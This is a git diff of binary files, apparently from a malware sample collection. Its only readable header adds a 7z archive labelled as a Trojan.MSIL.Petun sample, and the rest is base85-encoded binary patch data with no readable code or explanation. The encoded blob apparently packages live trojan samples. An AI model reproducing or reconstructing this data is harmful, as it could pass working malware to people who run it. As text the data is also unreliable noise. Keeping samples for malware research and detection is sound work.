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 literal 0 HcmV?d00001 diff --git a/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-47.7z b/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-47.7z new file mode 100644 index 0000000000000000000000000000000000000000..23304f1acf937d50f05e610a8f527918f0f367a1 GIT binary patch literal 34450 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 